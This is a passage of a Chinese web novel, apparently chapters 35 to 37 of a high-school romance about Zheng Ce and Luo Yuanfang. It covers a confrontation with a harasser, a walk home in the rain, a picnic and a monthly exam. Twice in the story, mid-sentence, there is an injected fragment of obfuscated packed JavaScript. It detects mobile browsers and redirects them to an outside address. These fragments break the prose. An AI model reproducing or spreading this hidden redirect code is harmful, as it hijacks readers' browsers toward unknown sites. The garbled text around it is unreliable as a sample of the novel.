“和我没关系。” 骆远方忍着怒气道。 “郑策是我的学生,我怎么样都会管她。” 柯言盯着他道,“你也是。所以,不要自作聪明。” “我真的是路过柯老师!” 骆远方有些急切地看着她,低吼道。 他强压下情绪又用商量的语气说,“让我过去吧。” 柯言沉默着让开路,她知道如果骆远方真的想做什么,是不会顾及她的感受。 过来也只是想确认下他的安全罢了。 让骆远方走过去后,柯言道: “周末再休息两天,下周来上课。” 骆远方背对着她顿了下,“好。” “好你妈的好。” 周全使劲敲了旁边的铁桶一下。 “把老子的话当耳旁风是不是?” 韩忠夏两人被围攻在了偏僻的死胡同里,叫天不应叫地不灵。 “你们要干什么?” 那个老板也不是没混过,紧紧盯着围攻他们的这群人。 “我认识你们,小广场旁边的金店的人。” “哟,这是威胁我们呢!” 周全一脚踏在他肩膀,笑着仰头去看褚铭。 说话间,脚下用力一踩,那人靠墙坐着又瘫下去几分。 “骆远方那兔崽子呢?” 韩忠夏急了,“我知道是他搞的鬼,把他叫出来!” “这不是来了,急着投胎啊?” 人群背后响起一个懒腔懒调的嗓音,格外好听,但此时冰冷的吓人。 “你想怎么样?” 韩忠夏瞪着布满血丝的眼睛瞪他。 人群让开一条道,看见骆远方拄着拐杖慢悠悠走过来时,韩忠夏咽了咽喉咙。 “这句话该我问你吧?” 骆远方居高临下看着他,一脸阴鸷。 “郑策住进我们家了,一个女学生,要是出了什么事,我们家是不是得担责?你他妈到底是想搞谁?” “那你把她撵出来啊!” “我、偏、不。” 骆远方拿着拐杖戳在韩忠夏的手上,他疼得瞬间抽搐起来。 骆远方垂眸看着他,冷声道:“说了不要惹我们,我脾气已经很收敛了。知道伤我这条腿的人现在怎么样了么?” 他比划了三根手指头,俯身拍拍韩忠夏的脸,用看似商量的语气缓缓陈述: “肋骨断了三根,现在还在医院躺着。你最好,别再,找死。” 韩忠夏被他这样盯着,不自觉浑身颤了颤。 今天下午整个高二年级都跟磕.了.药似的,一直处于亢奋状态中。 校门口的情况他们虽说了解的不全面,总是知道那两人不是个东西,总是明白他们是仗义出手,英雄xN救了美x1的。 热情高涨压都压不住。 有时候少年人的感情就是这么纯粹,他们因为太年轻从来不说家国情仇,但行事说话方面,又恰恰追随了骨子里最浪漫的快意恩仇。 这是进入社会前,他们身上最淳朴又最难得的情谊。 而救的这个美,还不是简单的柔弱女子。郑策因为长相和经历早就名声在外,这下慕名而来参观的人越发地多。 于是,九班的人又巩固了一次内部团结,哪肯让自家人受这样的围观。 把窗户一关,窗帘一拉,差点把老师也锁在了外面。 安城北还心有余悸道:“妈的畜生,没人拦着一定把他废了。” 他们以自己的方式,为同班的同学建造了一座薄而易碎的壳,又用少年人的敏感和关怀,替郑策屏蔽掉了外部的声音。 春末的谷雨,天边滚来几声闷雷,立夏潮湿闷热的氛围初见端倪。 几声雷响,细雨哗啦啦下了下来,学生们挤在同一屋檐下,怅然地看向逐渐模糊的窗外,像是一同经历了最小程度的灾难。 “我送你回去。”安城北不容置疑地对郑策道。 “不用,没事了。” “我没带伞。” “……” 安城北郁闷地看着窗外,“今天下午天气还好好的,你怎么就能记住带伞呢?” 郑策无语地看着他,“我一直带着。” 因为害怕哪次雨天被困在了室外,害怕没人会来接自己。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204719|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她的生活一直做好了充足的准备,不让意外扰乱一丝心绪。 所以她不能没有伞。 她还要照顾江蔚云,她必须万无一失。 但说好郑策把安城北送回去,走到一半安城北不服气中午网吧的游戏没赢,心血来潮非要进去再一决雌雄。 于是郑策去买了把伞,把他打包丢进网吧,自己往回走。 刚从网吧出来,就在巷口看见一个熟悉的影子。 长款黑色大衣修饰出极好的身线,骆远方侧对着她,撑一柄橙色雨伞,边缘溅起模糊的雨雾,像跳动的音符。 鲜亮的颜色在细雨朦胧中似瑰丽的梦。 郑策想奔跑过去,又舍不得靠近。 “带伞了?” 骆远方发现了郑策脚下微小的速度变化,笑了下,道,“还想来接你的。” 郑策笑着走过去,看了眼他的腿,“石膏拆了?” “嗯。” “走吧,我要饿死了。” 一下午郁结的心情此时忽然得到释放,骆远方的出现像是落入水中的薄荷糖,瞬间在春末谷雨中浸染开凉意。 郑策走了两步,发现骆远方没动,转头看他,“怎么了?” “今天过得怎么样?” 郑策楞了下,眼角慢慢滑开春水般笑意。 “你都知道了。” 她歪着头,短发被引力拉扯耷拉在脸上,笑容无奈又温暖,骆远方呼吸滞住一瞬。 好像她眼眸里落入了这场春雨,溅起一泓清泉,繁星点点,耀眼至极。 “嗯。” 他向她走去。 “还以为你遇事都躲呢,没想到还端了个黑窝。” “那人又来找你了?” 郑策忽然停住,两人的伞沿撞了下。 骆远方直接将自己的伞遮在两人头顶,伸手夺过郑策手里的伞柄,收了起来。 “我腿刚好,扶着我点。” “哦。” 郑策挽住他胳膊,“走不了还逞什么强。” 她嘟囔两句,手上的力道却没松。 又说:“问你话呢!” “碰上了,问了句。” 骆远方捻轻避重地说。 “他以后不敢来了。” “是么?” 听这句定心丸,郑策就知道不是碰上这么简单。 她笑了笑,对这种人也不在意道,“那太好了。” “嗯,你也挺勇敢。” “哈哈,那是,平时看不出来,我偶尔路见不平还是爱吼上两嗓子。” “小心水洼。” “哦,今天下午吃什么?” 骆远方掌勺后,郑策竟然对每天的饭有些期待。 “猪肚鸡,蒜香肉排,素炒空心菜。” “骆远方。” 郑策忍不住仰头看他,眼睛里是化不去的笑意。 她真诚道:“跟你住真是太幸福了。你为什么会做这么多菜?” “小时候闲的没事,经常看纪录片,学的。”骆远方认真看路。 “多亏你小时候闲。往这边来点。” “嗯。”骆远方不露痕迹地咽了咽喉咙。 “走吧,回去就开火。” 骆远方的腿还有些跛,可能受力后会疼,郑策便让他把大半重量都放在自己身上,充当人肉拐杖。 老街的青石板路凹凸不平,就这么一脚深一脚浅,相互搀扶着也走过来了。 水洼倒影着屋檐和灰蒙蒙的雨天,一把橙色雨伞的边缘出现,紧接着一脚踩碎水凼里平静的世界。 少年的白色板鞋湿了外缘,女孩紧握着他的手臂,两人亲密地在雨伞下的世界相依,共同走进雨雾里。 回去后郑策知道了骆乘光帮忙拿书的事,狠狠把江蔚云数落了一通。 骆乘光本意是逗逗云朵儿,没想到郑策把这件事看得这么重,又反过来劝她放宽心,学校离得近,走回来一趟很快云云。 “丢三落四的毛病必须改,家里的红领巾缝起来都可以做成窗帘了。一开始还买的三元的,后来丢多了买两元的,再后来干脆把一元的当一次性的戴。” 郑策气道,“这回有乘光哥给你拿书,下回呢,我们都不在了呢?” “呸呸呸!” 三个人同时对着她呸了三声。 郑策一怔,被逼着也跟着呸。 别说这玩意儿除了打断发火的情绪外,别无用处。 郑策挥挥手让江蔚云自己在房间里反省。她今天肚子有些疼,一时间激素不稳,情绪过激了。 骆远方洗完碗从厨房里出来,便看见她疼得一头冷汗,忙摸了下她额头。 “怎么了?哪儿不舒服?” “没事,肚子疼。” “被打的?” 骆远方声音忽然提高,被郑策瞪了眼,又小声说,“今天那人打的?” “不是。”郑策皱眉道,不想让他继续说下去。 “那去医院。”骆远方二话不说架起她就往外拖。 “不用不用。”郑策对这人真是没招了,挣脱开他往回走。 “我来例假了,谢谢啊谢谢。躺一会就行。” 郑策毫无生气地缩回沙发上看着电视里的神厨小福贵。 骆远方有些尴尬地站了会儿,端了一杯热水放她面前便进屋了。 以他浅薄的知识来说,只知道这一种法子。 不久后,江蔚云说自己反省成功了,让郑策回屋睡觉。 郑策怕自己疼得一直翻身打扰到她,说自己待会儿再睡,并命令江蔚云十分钟内必须睡着。 小江刚惹了郑策生气,哪儿敢不从,屁颠屁颠就去洗漱。 昏昏沉沉睡了不知道多久,郑策爬起来喝了杯水,把杯子放回去的时候没注意轻重,磕碰得重了些。 但这声儿也没多大啊,骆远方就跟贴门缝上似的,一下子冲了出来。 这下把郑策的睡意给吓得全无。 见着骆远方紧张的表情,她都以为自己是不是要死了。 “怎么了?”她瞪大眼睛谨慎地问。 “我以为你晕血了。” 骆远方也是一脸惊恐,似乎刚从睡梦里惊醒,目光一直在她脸上巡视有没有受伤。 “……” 嘶。 好问题。 36. 你,腰酸吗? 有点尴尬。 可能是早有心理准备吧,郑策似乎从来没在这方面晕过血。 两人干瞪眼了半分钟,深更半夜睡不着,于是纷纷从书包里掏出了周末作业。 没错,就是这么爱学习。 第二天早上骆乘光和江蔚云从卧室里出来,看见的便是两人一人躺了一条沙发,睡得非常安详。 桌上还铺着早已完成的作业,骆乘光后槽牙都要咬碎了。 今天天气好,骆淇也要回来,他们决定趁着气温还没升到三十度,出去野餐。还叫上了安城北母子倆。 骆远方非常臭屁地又换了一副眼镜,烟灰色半透明框,穿藏青色衬衫,脖子上拴着棕白相间的领巾,天蓝色牛仔裤上全是破洞和随意涂抹的颜料。 像个沉迷在自己艺术里遗世独立的美术生。 骆远方见郑策眼睛都直了,张开手臂笑着问:“帅么?” 别开头,露出粉红一截脖颈,郑策评价道:“一般吧。” 骆淇精力旺盛,刚到家就和骆远方一同马不停蹄准备野餐的食物。收拾出门后和安城北他们约在公园门口见面,个个都是大包小包,做足了准备。 郑策因为没帮上什么忙,特意提了最多最重的包,骆远方两次想接过去,都被她严肃回绝了,也就由着她证明自己。 阳光耀眼,草坪边有几个公园的游乐设施,每个健身器材上都长满了小孩儿。 江蔚云太久没见骆淇,跟着她屁股后面探索自然。扯一截红薯藤拉成几段虚虚连接着可以当耳钉;鸡冠花中间粘黏的部分贴在耳骨上当耳坠,又别有一番异域风味儿。 中途江蔚云啃馒头啃掉一颗下牙,骆淇就带着她一定要爬到最高处,尽量往上扔,让这颗下牙向上生长。 留下几个懒骨头在露营地啥太阳。 “郑策,我昨天听班长说物理竞赛开始报名了,你去吗?” 安城北从坐下来后,嘴里就一直不歇气地吃。 骆远方闻声也把头转回来看她。 “不去。” “你都能修那么多东西,考这个不是分分钟的事?”安城北不解。 “就跟考了驾照还是不敢上路一样,实操和理论还是有差别的。” 郑策说,“哦,忘了你没成年,还没考驾照。” “靠!”安城北佯装生气,咬下一大口猪肘子,流一嘴酱汁。 骆远方扯着脚下草坪,不经意道:“要是我,我就去,别人还没这个机会和能力,你已经超越了很多人了。” 机会?郑策暗一思忖,又挑眉看着他。 “你怎么知道我够格?你是吴雨派来的奸细!” “他和老吴可熟了,称兄道弟的。” 说到这儿,安城北甚至有些幽怨地看着骆远方。 “昨天看老吴的身手,他当老师之前不会是打手吧?” “听说他之前和学生打过架?” 一闻到八卦的味道,郑策也来了精神。 “嗯。” 骆远方看了他们俩一眼,“之前老吴带校篮,对面是省重点,而我们勉强算个正规学校,名声上有差距。结果对方玩赖赢了比赛,老吴不服,在气头上和那些人打了一架。” 骆远方对郑策道:“所以他第一次知道你是什么外地高材生时,气巫及巫,对你没什么好脸色。” “那他们玩赖,奖杯是我们的吧?”安城北问。 骆远方摇摇头,“我们学校在外面的名声也一般,比不上人省重点,最后判了个平局。老吴知道后特别生气,拿着一把水果刀就冲进管委会的办公室,说不拿回奖杯就同归于尽。但后来,那些人贪污受贿被查了,这件事就不了了之。” 他补充了句:“老吴也没死成。但他带的队因为打架斗殴受了处分。” 所以吴雨才会不问清情况,上来直接先把韩忠夏先给制住。 他是害怕自己的学生又被些不明不白的畜生牵连。 而郑策此时回想也有些后怕。如果真的出了什么事,被两个无赖给讹上,她没那么多钱去赔的呀。 “我……靠。” 安城北大概也是想到这一层,靠的语气都缓和了几分。 对这个老师的印象颠覆了许多。 “小姨妈!” 江蔚云此时非常欢快地跑回来,发现了什么惊天大秘密一样地喊。 “我们刚在那边发现好多房子上写着拆,奶奶说城北哥哥的家就是这样的,所以才有钱。” 郑策有些尴尬地看了眼安城北,他笑着摸江蔚云的头。 “被你猜中了,对我好点,我给你买零食啊。” 江蔚云重重点头,“我以后不当包租婆了,我决定当拆迁户。” 骆乘光一顿:“……也是难为你了。” “乘光以后是不是想走跳舞的路啊?”安城北问。 骆乘光犹豫着看了眼骆远方,点点头。 “唉有梦想真好。” 安城北仰倒在草地上,“我以后可能就继承那个五元店吧,我也不知道自己能干嘛。郑策呢?” “我?” 郑策无所谓道,“跟你差不多吧,就在这里开个咖啡馆之类的,混个日子。” “镇上没人喝那玩意儿。”骆远方啧了声。 “那就顺便卖烤肠,再卖点杂货,说不定有老乡想卖菜,我也帮衬着点。” “哎哎哎。” 安城北打断她,“你这理想怎么像是要挑战我们家真烟超市的地位啊?” “欢迎欢迎,不然这头猪好吃懒做,一点危机感没有。” 万杨笑着加入,说她小时候的梦想可不是开什么五元店,她想去摩天高楼里当端着咖啡的白领呢。 说话间,骆淇却有些担忧地看了眼骆远方。他没有说自己的理想,脸上始终带着笑,垂着头在地上一根一根认真地拔草。 骆淇默默叹了口气。 骆淇和万杨两个人闲不住,人越老越像小孩,坐了会儿又打算去另一边瞅瞅。 留下五个年纪轻轻就罹患重度躯体僵硬的人在原地继续晒太阳。 此时,郑策、骆远方、骆乘光做了一个大胆的决定: 他们从书包里拿出了课本和作业! “卧槽!” 安城北摸了电门一样弹起来,警惕地退后两步,“你们这是干嘛呢?” “写作业啊。”三个人拔开笔盖,面无表情看向他。 安城北打定主意认为他兄弟,以及兄弟弟弟是被郑策给祸害了。 这么悠闲的下午,脑子抽风了才会从书包里掏出一本五三吧! 抽风的还不止一人! 他气愤地盯着三人,然后拉开书包拉链,从里面拿出了万杨走之前塞进来的练习册。 还好他妈妈留了一手,不然被这三个人算计了…… 学呗,看谁心脏不好,先气死。 安城北一边扯着三叶草和江蔚云进行斗草大赛,一边念题本上的文言文。 主要是不念出来,他根本看不进去。 好像他也被郑策的阅读障碍给传染了似的。现在人家痊愈了,自己真是造了孽了。 “崔氏二小生,曰恕己,曰奉壹……简单!崔家两个小孩说宽恕我吧,奉献一个吧……除臣洗马。明白!皇帝让他去洗马。” 他念得自信又大方,丝毫没感受到对面三人从作业里缓缓抬起头,投过来难以置信又包含同情的目光。 安城北继续旁若无人地念:“公与之乘,战于长勺……嗯,这个有点难。那就,公送他一辆车,和于长勺大战……你们看我干嘛?” 郑策对他竖起大拇指,除此之外别无话说。 阳光倾泻在书本上,浸染了一书花香。 日子只要平静如水般安稳,就过得很慢。恍惚间会挑逗人的劣根性,非要作上一作,打破这难得的安宁。 于是骆远方主动挑战自我,架上画架,打算给旁边的小边牧画上一副油画。 绿色颜料在笔刷下轻轻重重深深浅浅地勾勒,不一会儿白纸上便出现了一片静谧的绿,在风下摇晃。 郑策不再惊讶于骆远方的画功,只是安静地看他。 但狗头还没来记得闭合上,小边牧就往他这边进发了。 想起往日里骆远方吓得高抬腿,踢屁股,各种玛丽莲梦露造型,如今他的脚上还带着硬护踝,可受不了这样的折磨。 郑策快走两步蹲在边牧面前拦住,小狗把脑袋一个劲儿往郑策手里蹭,吐着舌头撒娇的模样竟有些可爱。 惊慌失措下,骆远方速记下这个场景。 如果不是郑策拦着,这狗一定是冲着骆远方去的。 难道小狗现在也都成颜控了么。 郑策仰头笑着问:“香妃招蝴蝶,你怎么这么招狗?” “……我怎么知道。” 因为边牧的突然靠近,骆远方脸上有一丝僵硬。 “还不是你身上老是有糖,整个人又香又甜。” 安城北说着就从他包里掏出一颗棒棒糖。 “葡萄味儿,我喜欢。” 骆远方被他这么一说,才忽然点醒了一般。 如果真是这个原因,那他就不冤枉了。 小的时候爸妈基本不回家,家里平日里是没有零食吃的。郑案回来一次就会补偿性地买很多巧克力和糖果,他全部都藏在自己身上。 难过的时候拿出来吃一颗,心情会好不少。 不知不觉,这个习惯就改不掉了。 而造成他这个习惯的人,早就不再买糖回来了。 “我们买了奶茶回来,先到先选!” 骆淇的声音从旁边响起。 他转过头去,骆淇和万杨一人提了一袋奶茶,手里还抱着一杯,有说有笑地朝这边走来。 骆远方忽然想,但现在有人时不时就会买奶茶回来。 “我要这个葡萄霸霸biubiu茶!”江蔚云先照着单子上的名字念。 听到这儿,骆远方的脚步一顿,意识到什么。 骆乘光一眼看破他,笑着大声念:“那我要这个芝芝莓莓忙忙桃桃茶!” 脊背有些僵硬,骆远方忽然不想要了。 如果必须要念出这么羞耻的名字,他宁愿渴死。 安城北也明白过来,笑着拿着单子就往骆远方这儿凑,轻声对他说: “我要,我想你,藏不住的,茶。你呢,骆哥?” “我不要。” “你要嘛!” 这种时候,越尴尬,越会成为这群没良心的下饭菜。 骆远方心一横,囫囵道:“那我拿这杯,嘟嘟嘟嘟嘟嘟。” “什么?”郑策抱着手里的茶有些好笑地看着他。 “孤孤独独嘟嘟。” 骆远方像被摄魂了一样,用面无表情的冷峻念出无比可爱的一句话。 众人调戏他终于得到回应,又是爆发一场大笑。 晚饭是安城北作为资深吃货选的店。 到店后他先让服务员推荐一下菜品,别人一溜串背出来后,又皱着眉责怪她推荐的太多,根本吃不完。 跟着安城北吃饭,随时都有在餐厅社死的可能性,比如他会在吃饱后跟着背景音乐忽然唱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225395|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。 郑策吃完实在受不了,肚子又忽然疼得难受,离开去了卫生间。 不知道在里面蹲了多久,她隐隐约约听见门外传来安城北的声音。 “哟,新来的保安啊?厕所里有什么宝贝?” 紧接着是骆远方的声音,应该是对江蔚云在说话,“进去看看你小姨妈,让她有什么需要的,就给我发消息。” 郑策知道是躲不下去了,勉强出门,在洗手台前还是被自己一脸惨白给吓了一跳。 “这是怎么了?生病了?”万杨恰好也从隔壁间出来。 “没事,来例假了,有点难受。”郑策勉强朝她笑笑。 回到餐桌,果然自己前一秒还活蹦乱跳,后一秒就萎靡不振的模样成功吸引了所有人的注意。 “你,真生病了?”安城北犹豫着问。 “差不多吧。”郑策回避道。 看着万杨递给她一包暖宝宝,安城北又惊道:“发烧了冷敷吧,怎么还给暖宝宝!” 真是幸福的男高中生,在他眼里,生病就是感冒发烧,仅此而已了。 “你可闭嘴吧你。”骆远方给他夹了一筷子肉。 他刚才无聊的时候搜了下女生例假的时长。 竟然他妈的有一周左右! 骆远方有些同情郑策。 同时也很自责。 今天应该无论如何都该抢过那两袋重物的。 今儿吃的高兴,除了郑策,几乎每个人都或多或少喝了点酒。 出门的时候万杨忽然嘟着嘴抱怨了什么。 紧接着安城北大着嗓门喊:“是啊,烈士家属就凭什么必须高素质地活,这多累,我偏不!” 他说着就往地上丢了一张揉皱的餐巾纸。 万杨是真的醉了,和骆淇互相搀扶着也喊了声“偏不”,跟着安城北就开始随地乱丢垃圾。 在旁人惊惧的眼光中,安城北似乎有扳回一城的骄傲。 但在路人走过之后,他又灰溜溜背着万杨把纸巾捡了回来,扔进垃圾桶。 骆远方看见他这一通操作,觉得他有病。 骆远方脑子也喝得有些迷糊,然而没人管他了。 骆乘光走在最前面,牵着江蔚云目不斜视地往家赶,跟金屋藏娇了一样着急。 所以只有郑策命苦,自己肚子疼,还要负责搀扶着骆远方落在队伍最后面。 “你,腰酸吗?我能走,不用扶。” 骆远方垂头就看见郑策龇牙咧嘴地扛着她肩膀。 刚吃晚饭的时候又下过一场小雨,水洼里浅浅地积聚了些污水,倒影霓虹灯光。 “没事,慢点走,你这腿再伤了我可不赔。” 郑策一手扶着他一手去够双肩包的背带,挣扎了半天也够不上,像个追着自己尾巴打转的小狗。 忽然骆远方贴近,伸手环过她,把包带勾了起来。 声音在很近处响起。 “抬手。” 距离骤然缩短,郑策呼吸忽然有些加快,愣愣地抬手去够。 “行了,走吧。” 她钻进骆远方胳膊下面,伸过手一把揽住他的背。看着长路漫漫,几个没心没肺的已经没了踪影,长长叹了口气。 “我就不开电筒了,你跟着我走就行。” “好。”骆远方乖巧地说。 还没走两步,后方突然响起刺耳的鸣笛,郑策叹了口气,又来个马路杀手。 她带着骆远方往路边靠。 却忽然感受到手臂被用力扯过,郑策心里一紧,以为骆远方摔了,扑过去抓他。 几乎是一瞬间,她顺着手上的力道被拉进了一个怀里,紧接着两人调转方向,她被稳稳固定在骆远方胸前。 同时,车辆鸣笛而过,轮胎与地面摩擦飞溅出水滴碎裂的声响。郑策手上明显溅到两滴冰凉水珠。 “妈的,开车不长眼。” 骆远方骂了句,将头埋在她脖颈间。郑策似乎能听见他的脉搏心跳,很快。 鬼使神差地,郑策伸手抱住他,在他背后摸了摸。 她将下巴抵在骆远方锁骨上,仰头看他。 鼻息扑打在脖颈裸露在外的肌肤上,她轻声道:“你背上湿了。” “嗯。” 骆远方的声音被酒精浸泡过,有些闷哑。 “我没事,你疼得那么厉害,现在受凉就不好了。” 不知道是不是郑策的错觉,或是被黑夜阻塞了视线,周围又被骆远方身上的温度包裹。 她听出来这话里似乎有一丝心疼的哽咽,浸泡在酒精的掩护里。 “我也,还好吧。” 可能是刚才的脸色吓着骆远方了,她解释道。 “习惯了,一会儿就好了。我们先回去,把湿衣服换下来。” “嗯。” 郑策一直站在靠马路的位置护着他,如果不是自己及时反应过来调转位置,她现在准会淋成落汤鸡。 骆远方闭上眼睛深深吸了口气,还好她没被污泥溅到,仍旧是香甜的奶味儿。 他乱七八糟地想,以后不能让她喝酒。 风一吹,背上的湿衣发凉,让骆远方紧了紧怀抱。 他好像舍不得放开这个怀抱。 车辆从身旁驶过,溅起阵阵水雾。天光不知何时暗淡,涟漪波澜的水洼里,华灯初上,光影不安分地闪耀。 像沙漠里的人遇见海市蜃楼,不论真假,都会去试试。 而她是流沙下暗流涌动的地下河,骷髅的白骨吞噬一切欲望,吸引过路游人。 他自愿深陷其中,与白骨交握。 37. 讨好 “骆远方?” 郑策见他半天不松开自己,听着耳畔沉稳的呼吸问,“睡着了?” 耳边响起噗嗤一声笑,低声说:“谁站着能睡着?” “那你一直没反应,我以为关机了。” 郑策食指摁了摁骆远方眉心,“现在开机重启。” “走吧。” 骆远方揽过她肩膀笑着说。 “回家。” 周一,骆远方去了学校,郑策看见他时脸上出现一瞬惊喜。 “你怎么来了?” “开机重启了嘛不是。” 因为长期不在领地,空间已经被安城北大幅侵占,导致两人的桌子都不在一条线上了。 骆远方站着没动。 把书包放在凳子上,骆远方一脚朝安城北的椅子踢过去。 “往前点,你有那么肥么?” 林歌在旁边小声唱道:“哆啦A梦屁股大,一个板凳装不下,啦啦啦啦啦——” “我靠,骆哥,今天月考你来找虐啊?” 安城北手里还倒举着化学书。 “我来找场子。” “这么爱学习?”郑策挑眉调侃他。 “当然。”骆远方对她眨了眨眼。 这几年学校招生逐年增加,经费也有所上涨,教师办公室的锁已经换强好几个档次,唯有富乐路神偷依旧一成不变。 但不只是门打不开了,更叫人愤恨的是,不知道哪个天才想出的AB卷主意,临开考前都不知道用哪套卷子。 防火、防盗、防透题。 安城北现在拔凉拔凉。 他从抽屉里掏出一瓶冷藏过的可乐,潮湿水汽粘黏在透明塑料表面,结上一层又一层冰霜。 安城北把可乐咚地一声放在郑策桌上,笑嘻嘻道:“郑策,这回不换座位,能不能照顾照顾?” “你还敢找我?”郑策对这位的脑回路表示惊讶。 敢在一个坑上摔两次,也是人才。 “你肯定是学霸,再怎么说都比我强……” 安城北话还没说完,可乐就被如临大敌的骆远方给扔了回来。 瓶子刚好怼在安城北鼻头,他哀怨地揉了揉。 “骆哥,你一惊一乍的干嘛?这里面我又没下毒。” 骆远方咳嗽了两声,淡淡道:“你自己喝,她不喝。” 安城北想起周末郑策的脸色,挤眉弄眼小声问他,“郑策不会真的得绝症了吧?” “滚蛋。” 骆远方只想一脚把他踹开,有多远踹多远。 而另一边林歌反应很快,站起来走到郑策旁边就给了她大大一个拥抱。 郑策被抱得猝不及防,听见耳边林歌小声说:“是不是来那个了?” “昂。” “抱一会儿。” 林歌抱紧了她,“我时间不太正常,这玩意儿来了又烦,不来也烦,真是的。它跟我一样重感情没原则,看见你来了,肯定也会来的。” 郑策被她这套说辞搞得莫名其妙,笑着回抱她。 月考下午开始,早晨先要挨过两节语文和两节英语。 语文课一下,安城北看破红尘地低笑着,回头看郑策,“是不是在语文课写物理作业呢?” 平日里很多人就这么干,一来节约时间,二来这样听课其实完全听得懂,还能提高效率。 下午就要考试,这么干的人就更多了。 “没有。” 郑策今天被他问得有些烦躁。 可能是激素不稳吧,格外想发火。 今天安城北为了证明她一定能考得好,各种明示暗示,让郑策更恼火。 偏安城北还依依不舍,“骗人,你们学霸都爱这么干。” “我不是学霸。” “你可别谦虚了,暂时的低潮可以理解,但我们都知道你以前很厉害的。” 安城北小嘴儿啊,叭叭叭就开讲,骆远方偷摸戳了他两下也没发现。 “所以呢?” 郑策将笔往桌上一扣,面若寒霜,安城北这才呆住,察觉气氛有些不对。 “所以我必须一直厉害,不能掉队么?” “不是,我……” 安城北还想辩解什么,骆远方立马打断他。 “可以了,回去做你自己的事。” 林歌也适时掏出一包蛋苕酥,递给郑策,“新买的,我觉得这个超好吃。” 郑策意识到自己失常,沉默地点点头,没再说什么。 她之前跟骆远方聊天的时候,偶尔提到过。 因为自己从小成绩不错,被周围人当成榜样,所以她小升初,初升高,高考,都必须非常努力。 唯有这样才会显得毫不费力。 各种期待的目光,看热闹的眼神,审视着她哪一天会从神坛上跌落。 她也知道自己不是天才。 最可怕的不是失去,而是明知不会长久,却要一直等待失败来临的过程。 像站在悬崖上,明知背后随后会被人来一脚,但只能一直等,焦心地,急躁地,没底地,等。 骆远方身上从没有过这种期待,哪怕他每日每日尽量让自己表现得乖巧一点。 不出去和小男孩儿滚一身泥,不打架鬼混,在电视机面前学习摄影,学习做饭,甚至学了缝补和刺绣。 这种期待也只会降临在骆乘光身上。 他的平庸比起骆乘光的天才,显得太暗淡了。 一直以来像是困在薄膜里,他在里面呼喊,却听不见任何声音。 包括自己的。 所以骆远方的绝望与崩溃和郑策恰好是两极。 从小就过度懂事的郑策一直在耗光自己的储备电量。 无论是之前为了某些期许的目光而奋不顾身地学习,还是现在习惯性把江蔚云的成长当成自己的责任。 骆远方能感受到,郑策的阅读障碍其实是她自己对自己的救赎。 她的电快耗光了。 得休息休息。 今天大课间不用去跑操,学校“贴心”地留给他们复习的时间。显得整个课间格外漫长。 骆远方正纠结着要不要安慰同桌一下,就听见门口有人喊他。 “骆哥,老吴让你去操场找他。” “干什么?”骆远方皱着眉问。 那人耸耸肩,“不知道。” “行,我知道了。” 骆远方起身,非常自然地在郑策桌上留下一颗棒棒糖,转身往楼下走去。 “什么事?” 吴雨站在操场中央等他,骆远方抬抬下巴,丝毫没有见老师的自觉。 “老杨说你这几天都没去馆里,我来看看你出什么事了?” “腿伤了。”骆远方双手插兜,抬起一只脚晃了晃。 “不是老杨说,我都不知道你小子能打职业。” 吴雨双腿分列,微微弯曲,扎稳下盘,偏着头一只手朝他抬了抬。 “试试看,能不能进校队。” 骆远方可没有当场和他较量的意思,歪着头强调:“我腿伤了。” “石膏不都拆了嘛,不影响,我就看看你水平。” 吴雨又朝他招招手,骆远方不为所动。吴雨索性直接上手擒拿住骆远方肩膀,骆远方反射性握住他胳膊,借力打力,肩膀抵住吴雨前胸,顺势一拉。 一个漂亮的过肩摔。 此时教学楼传来一阵惊呼,他再抬头望上去,高二那层的挑廊里站满了人。随着这阵惊呼,上下几层楼也逐渐探出好奇宝宝。 吴雨在他身下笑道:“果然还不错。” 他伸手让骆远方拉他起来。 骆远方没防备,哪知道一个老师脸皮能有这么厚,刚握上去就被吴雨给拖倒,两人在地上缠斗起来。 “格斗基础不错嘛。”吴雨咧嘴笑着,气喘吁吁地立马爬起,俯视骆远方。 “反正你也不认真学习,考不考虑来队里,让你参赛,好过一直在馆里当别人陪练。” 骆远方略微勾唇,单手撑地,双脚凭借惯性腾空,旋转着朝吴雨脖子打去。 只一瞬,他略微调整角度,改为踢向吴雨肩膀,将他整个人掀倒在地。 扳回一成,骆远方立马站起,拍了拍手。 “不考虑。” 吴雨笑着躺在足球场上,大口喘着气道: “爽!那么多人看着呢,我们石头剪刀布,谁赢了对外就说谁赢了。” 骆远方挑眉不置可否。 吴雨继续说:“我刚才可是也把你掀翻了一回。” “你偷袭也算?”骆远方不在意,转身要走。 吴雨大笑着,对骆远方背影喊:“只当陪练可惜了你,再考虑考虑。” “神经病。” 骆远方笑着摆摆手,留下三个字。 专门把他叫下来,当着全校师生的面打架,除了脑子有问题,骆远方替吴雨找不出其他借口了。 职业格斗他是不会考虑的,骆淇非打死他不可。 “哎!” “又干什么?”骆远方无奈地转过身去。 “手。”吴雨指了指他的手腕。 骆远方这才看见自己小臂上被蹭出一片血印子,看着格外狰狞。 回教室的时候还专门挡了一下。 但郑策看都没看他,默契地丢来一盒创可贴还有纱布、酒精。 “你有没有全须全尾的时候?”她头也不回地问。 骆远方嬉皮笑脸回她,“我看难。” 椅背咚地一声撞上他桌沿,安城北转过来一脸担忧道:“刚我和郑策都快报警了,怎么回事?” 